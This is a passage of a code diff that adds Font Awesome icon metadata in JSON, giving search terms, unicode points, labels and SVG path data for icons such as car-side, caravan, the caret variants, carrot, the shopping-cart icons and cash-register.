7l-13.99 52.23c-1.14 4.27-3.1 8.1-5.65 11.38-7.67 9.84-20.74 14.68-33.54 11.25L515 502.62c-17.07-4.57-27.2-22.12-22.63-39.19l8.28-30.91-247.28-66.26-8.28 30.91c-4.57 17.07-22.12 27.2-39.19 22.63l-30.91-8.28c-12.8-3.43-21.7-14.16-23.42-26.51-.57-4.12-.35-8.42.79-12.68l13.99-52.23a66.62 66.62 0 0 1-4.09-10.45c-3.2-10.79-3.65-22.52-.52-34.2l12.42-46.37c5.31-19.8 19.36-34.83 36.89-42.21a64.336 64.336 0 0 1 18.49-4.72l18.13-24.23 32.15-42.97c3.45-4.61 7.19-8.9 11.2-12.84 8-7.89 17.03-14.44 26.74-19.51 4.86-2.54 9.89-4.71 15.05-6.49 10.33-3.58 21.19-5.63 32.24-6.04 11.05-.41 22.31.82 33.43 3.8l122.68 32.87c11.12 2.98 21.48 7.54 30.85 13.43a111.11 111.11 0 0 1 34.69 34.5c8.82 13.88 14.64 29.84 16.68 46.99l6.36 53.29 3.59 30.05a64.49 64.49 0 0 1 22.74 29.93c4.39 11.88 5.29 25.19 1.75 38.39zM255.58 234.34c-18.55-4.97-34.21 4.04-39.17 22.53-4.96 18.49 4.11 34.12 22.65 39.09 18.55 4.97 45.54 15.51 50.49-2.98 4.96-18.49-15.43-53.67-33.97-58.64zm290.61 28.17l-6.36-53.29c-.58-4.87-1.89-9.53-3.82-13.86-5.8-12.99-17.2-23.01-31.42-26.82l-122.68-32.87a48.008 48.008 0 0 0-50.86 17.61l-32.15 42.97 172 46.08 75.29 20.18zm18.49 54.65c-18.55-4.97-53.8 15.31-58.75 33.79-4.95 18.49 23.69 22.86 42.24 27.83 18.55 4.97 34.21-4.04 39.17-22.53 4.95-18.48-4.11-34.12-22.66-39.09z" + } + }, + "free": [ + "solid" + ] + }, + "car-side": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "auto", + "automobile", + "sedan", + "transportation", + "travel", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5e4", + "label": "Car Side", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635382, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M544 192h-16L419.22 56.02A64.025 64.025 0 0 0 369.24 32H155.33c-26.17 0-49.7 15.93-59.42 40.23L48 194.26C20.44 201.4 0 226.21 0 256v112c0 8.84 7.16 16 16 16h48c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h48c8.84 0 16-7.16 16-16v-80c0-53.02-42.98-96-96-96zM160 432c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm72-240H116.93l38.4-96H232v96zm48 0V96h89.24l76.8 96H280zm200 240c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M544 192h-16L419.22 56.02A64.025 64.025 0 0 0 369.24 32H155.33c-26.17 0-49.7 15.93-59.42 40.23L48 194.26C20.44 201.4 0 226.21 0 256v112c0 8.84 7.16 16 16 16h48c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h48c8.84 0 16-7.16 16-16v-80c0-53.02-42.98-96-96-96zM160 432c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48zm72-240H116.93l38.4-96H232v96zm48 0V96h89.24l76.8 96H280zm200 240c-26.47 0-48-21.53-48-48s21.53-48 48-48 48 21.53 48 48-21.53 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "caravan": { + "changes": [ + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "camper", + "motor home", + "rv", + "trailer", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f8ff", + "label": "Caravan", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635383, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M416,208a16,16,0,1,0,16,16A16,16,0,0,0,416,208ZM624,320H576V160A160,160,0,0,0,416,0H64A64,64,0,0,0,0,64V320a64,64,0,0,0,64,64H96a96,96,0,0,0,192,0H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM192,432a48,48,0,1,1,48-48A48.05,48.05,0,0,1,192,432Zm64-240a32,32,0,0,1-32,32H96a32,32,0,0,1-32-32V128A32,32,0,0,1,96,96H224a32,32,0,0,1,32,32ZM448,320H320V128a32,32,0,0,1,32-32h64a32,32,0,0,1,32,32Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M416,208a16,16,0,1,0,16,16A16,16,0,0,0,416,208ZM624,320H576V160A160,160,0,0,0,416,0H64A64,64,0,0,0,0,64V320a64,64,0,0,0,64,64H96a96,96,0,0,0,192,0H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM192,432a48,48,0,1,1,48-48A48.05,48.05,0,0,1,192,432Zm64-240a32,32,0,0,1-32,32H96a32,32,0,0,1-32-32V128A32,32,0,0,1,96,96H224a32,32,0,0,1,32,32ZM448,320H320V128a32,32,0,0,1,32-32h64a32,32,0,0,1,32,32Z" + } + }, + "free": [ + "solid" + ] + }, + "caret-down": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "dropdown", + "expand", + "menu", + "more", + "triangle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0d7", + "label": "Caret Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635384, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M31.3 192h257.3c17.8 0 26.7 21.5 14.1 34.1L174.1 354.8c-7.8 7.8-20.5 7.8-28.3 0L17.2 226.1C4.6 213.5 13.5 192 31.3 192z" + } + }, + "free": [ + "solid" + ] + }, + "caret-left": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "back", + "previous", + "triangle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0d9", + "label": "Caret Left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635385, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z\"/></svg>", + "viewBox": [ + "0", + "0", + "192", + "512" + ], + "width": 192, + "height": 512, + "path": "M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z" + } + }, + "free": [ + "solid" + ] + }, + "caret-right": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "forward", + "next", + "triangle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0da", + "label": "Caret Right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635385, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662z\"/></svg>", + "viewBox": [ + "0", + "0", + "192", + "512" + ], + "width": 192, + "height": 512, + "path": "M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662z" + } + }, + "free": [ + "solid" + ] + }, + "caret-square-down": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "caret-square-o-down", + "dropdown", + "expand", + "menu", + "more", + "triangle" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f150", + "label": "Caret Square Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635385, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM92.5 220.5l123 123c4.7 4.7 12.3 4.7 17 0l123-123c7.6-7.6 2.2-20.5-8.5-20.5H101c-10.7 0-16.1 12.9-8.5 20.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM92.5 220.5l123 123c4.7 4.7 12.3 4.7 17 0l123-123c7.6-7.6 2.2-20.5-8.5-20.5H101c-10.7 0-16.1 12.9-8.5 20.5z" + }, + "regular": { + "last_modified": 1628088634717, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M125.1 208h197.8c10.7 0 16.1 13 8.5 20.5l-98.9 98.3c-4.7 4.7-12.2 4.7-16.9 0l-98.9-98.3c-7.7-7.5-2.3-20.5 8.4-20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M125.1 208h197.8c10.7 0 16.1 13 8.5 20.5l-98.9 98.3c-4.7 4.7-12.2 4.7-16.9 0l-98.9-98.3c-7.7-7.5-2.3-20.5 8.4-20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "caret-square-left": { + "changes": [ + "4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "back", + "caret-square-o-left", + "previous", + "triangle" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f191", + "label": "Caret Square Left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635385, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM259.515 124.485l-123.03 123.03c-4.686 4.686-4.686 12.284 0 16.971l123.029 123.029c7.56 7.56 20.485 2.206 20.485-8.485V132.971c.001-10.691-12.925-16.045-20.484-8.486z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM259.515 124.485l-123.03 123.03c-4.686 4.686-4.686 12.284 0 16.971l123.029 123.029c7.56 7.56 20.485 2.206 20.485-8.485V132.971c.001-10.691-12.925-16.045-20.484-8.486z" + }, + "regular": { + "last_modified": 1628088634717, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M272 157.1v197.8c0 10.7-13 16.1-20.5 8.5l-98.3-98.9c-4.7-4.7-4.7-12.2 0-16.9l98.3-98.9c7.5-7.7 20.5-2.3 20.5 8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M272 157.1v197.8c0 10.7-13 16.1-20.5 8.5l-98.3-98.9c-4.7-4.7-4.7-12.2 0-16.9l98.3-98.9c7.5-7.7 20.5-2.3 20.5 8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "caret-square-right": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "caret-square-o-right", + "forward", + "next", + "triangle" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f152", + "label": "Caret Square Right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635386, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 32h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48zm140.485 355.515l123.029-123.029c4.686-4.686 4.686-12.284 0-16.971l-123.029-123.03c-7.56-7.56-20.485-2.206-20.485 8.485v246.059c0 10.691 12.926 16.045 20.485 8.486z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M48 32h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48zm140.485 355.515l123.029-123.029c4.686-4.686 4.686-12.284 0-16.971l-123.029-123.03c-7.56-7.56-20.485-2.206-20.485 8.485v246.059c0 10.691 12.926 16.045 20.485 8.486z" + }, + "regular": { + "last_modified": 1628088634718, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M176 354.9V157.1c0-10.7 13-16.1 20.5-8.5l98.3 98.9c4.7 4.7 4.7 12.2 0 16.9l-98.3 98.9c-7.5 7.7-20.5 2.3-20.5-8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M176 354.9V157.1c0-10.7 13-16.1 20.5-8.5l98.3 98.9c4.7 4.7 4.7 12.2 0 16.9l-98.3 98.9c-7.5 7.7-20.5 2.3-20.5-8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "caret-square-up": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "caret-square-o-up", + "collapse", + "triangle", + "upload" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f151", + "label": "Caret Square Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635386, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 432V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48zm355.515-140.485l-123.03-123.03c-4.686-4.686-12.284-4.686-16.971 0L92.485 291.515c-7.56 7.56-2.206 20.485 8.485 20.485h246.059c10.691 0 16.045-12.926 8.486-20.485z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 432V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48zm355.515-140.485l-123.03-123.03c-4.686-4.686-12.284-4.686-16.971 0L92.485 291.515c-7.56 7.56-2.206 20.485 8.485 20.485h246.059c10.691 0 16.045-12.926 8.486-20.485z" + }, + "regular": { + "last_modified": 1628088634718, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M322.9 304H125.1c-10.7 0-16.1-13-8.5-20.5l98.9-98.3c4.7-4.7 12.2-4.7 16.9 0l98.9 98.3c7.7 7.5 2.3 20.5-8.4 20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M322.9 304H125.1c-10.7 0-16.1-13-8.5-20.5l98.9-98.3c4.7-4.7 12.2-4.7 16.9 0l98.9 98.3c7.7 7.5 2.3 20.5-8.4 20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "caret-up": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "collapse", + "triangle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0d8", + "label": "Caret Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635386, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M288.662 352H31.338c-17.818 0-26.741-21.543-14.142-34.142l128.662-128.662c7.81-7.81 20.474-7.81 28.284 0l128.662 128.662c12.6 12.599 3.676 34.142-14.142 34.142z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M288.662 352H31.338c-17.818 0-26.741-21.543-14.142-34.142l128.662-128.662c7.81-7.81 20.474-7.81 28.284 0l128.662 128.662c12.6 12.599 3.676 34.142-14.142 34.142z" + } + }, + "free": [ + "solid" + ] + }, + "carrot": { + "changes": [ + "5.6.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "bugs bunny", + "orange", + "vegan", + "vegetable" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f787", + "label": "Carrot", + "svg": { + "solid": { + "last_modified": 1628088635386, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M298.2 156.6c-52.7-25.7-114.5-10.5-150.2 32.8l55.2 55.2c6.3 6.3 6.3 16.4 0 22.6-3.1 3.1-7.2 4.7-11.3 4.7s-8.2-1.6-11.3-4.7L130.4 217 2.3 479.7c-2.9 6-3.1 13.3 0 19.7 5.4 11.1 18.9 15.7 30 10.3l133.6-65.2-49.2-49.2c-6.3-6.2-6.3-16.4 0-22.6 6.3-6.2 16.4-6.2 22.6 0l57 57 102-49.8c24-11.7 44.5-31.3 57.1-57.1 30.1-61.7 4.5-136.1-57.2-166.2zm92.1-34.9C409.8 81 399.7 32.9 360 0c-50.3 41.7-52.5 107.5-7.9 151.9l8 8c44.4 44.6 110.3 42.4 151.9-7.9-32.9-39.7-81-49.8-121.7-30.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M298.2 156.6c-52.7-25.7-114.5-10.5-150.2 32.8l55.2 55.2c6.3 6.3 6.3 16.4 0 22.6-3.1 3.1-7.2 4.7-11.3 4.7s-8.2-1.6-11.3-4.7L130.4 217 2.3 479.7c-2.9 6-3.1 13.3 0 19.7 5.4 11.1 18.9 15.7 30 10.3l133.6-65.2-49.2-49.2c-6.3-6.2-6.3-16.4 0-22.6 6.3-6.2 16.4-6.2 22.6 0l57 57 102-49.8c24-11.7 44.5-31.3 57.1-57.1 30.1-61.7 4.5-136.1-57.2-166.2zm92.1-34.9C409.8 81 399.7 32.9 360 0c-50.3 41.7-52.5 107.5-7.9 151.9l8 8c44.4 44.6 110.3 42.4 151.9-7.9-32.9-39.7-81-49.8-121.7-30.3z" + } + }, + "free": [ + "solid" + ] + }, + "cart-arrow-down": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "download", + "save", + "shopping" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f218", + "label": "Shopping Cart Arrow Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635387, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM403.029 192H360v-60c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v60h-43.029c-10.691 0-16.045 12.926-8.485 20.485l67.029 67.029c4.686 4.686 12.284 4.686 16.971 0l67.029-67.029c7.559-7.559 2.205-20.485-8.486-20.485z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM403.029 192H360v-60c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v60h-43.029c-10.691 0-16.045 12.926-8.485 20.485l67.029 67.029c4.686 4.686 12.284 4.686 16.971 0l67.029-67.029c7.559-7.559 2.205-20.485-8.486-20.485z" + } + }, + "free": [ + "solid" + ] + }, + "cart-plus": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "add", + "create", + "new", + "positive", + "shopping" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f217", + "label": "Add to Shopping Cart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635387, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM408 168h-48v-40c0-8.837-7.163-16-16-16h-16c-8.837 0-16 7.163-16 16v40h-48c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h48v40c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-40h48c8.837 0 16-7.163 16-16v-16c0-8.837-7.163-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M504.717 320H211.572l6.545 32h268.418c15.401 0 26.816 14.301 23.403 29.319l-5.517 24.276C523.112 414.668 536 433.828 536 456c0 31.202-25.519 56.444-56.824 55.994-29.823-.429-54.35-24.631-55.155-54.447-.44-16.287 6.085-31.049 16.803-41.548H231.176C241.553 426.165 248 440.326 248 456c0 31.813-26.528 57.431-58.67 55.938-28.54-1.325-51.751-24.385-53.251-52.917-1.158-22.034 10.436-41.455 28.051-51.586L93.883 64H24C10.745 64 0 53.255 0 40V24C0 10.745 10.745 0 24 0h102.529c11.401 0 21.228 8.021 23.513 19.19L159.208 64H551.99c15.401 0 26.816 14.301 23.403 29.319l-47.273 208C525.637 312.246 515.923 320 504.717 320zM408 168h-48v-40c0-8.837-7.163-16-16-16h-16c-8.837 0-16 7.163-16 16v40h-48c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h48v40c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-40h48c8.837 0 16-7.163 16-16v-16c0-8.837-7.163-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "cash-register": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buy", + "cha-ching", + "change", + "checkout", + "commerce", + "leaerboard", + "machine", + "pay", + "payment", + "purchase", + "store" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f788", + "label": "Cash Register", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635388, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M511.1 378.8l-26.7-160c-2.6-15.4-15.9-26.7-31.6-26.7H208v-64h96c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96v64H59.1c-15.6 0-29 11.3-31.6 26.7L.8 378.7c-.6 3.5-.9 7-.9 10.5V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-90.7c.1-3.5-.2-7-.8-10.5zM280 248c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16zm-32 64h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16zm-32-80c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16zM80 80V48h192v32H80zm40 200h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16zm16 64v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16zm216 112c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h176c4.4 0 8 3.6 8 8v16zm24-112c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16zm48-80c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M511.1 378.8l-26.7-160c-2.6-15.4-15.9-26.7-31.6-26.7H208v-64h96c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h96v64H59.1c-15.6 0-29 11.3-31.6 26.7L.8 378.7c-.6 3.5-.9 7-.9 10.5V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-90.7c.1-3.5-.2-7-.8-10.5zM280 248c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16h-16c-8.8 0-16-7.2-16-16v-16zm-32 64h16c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 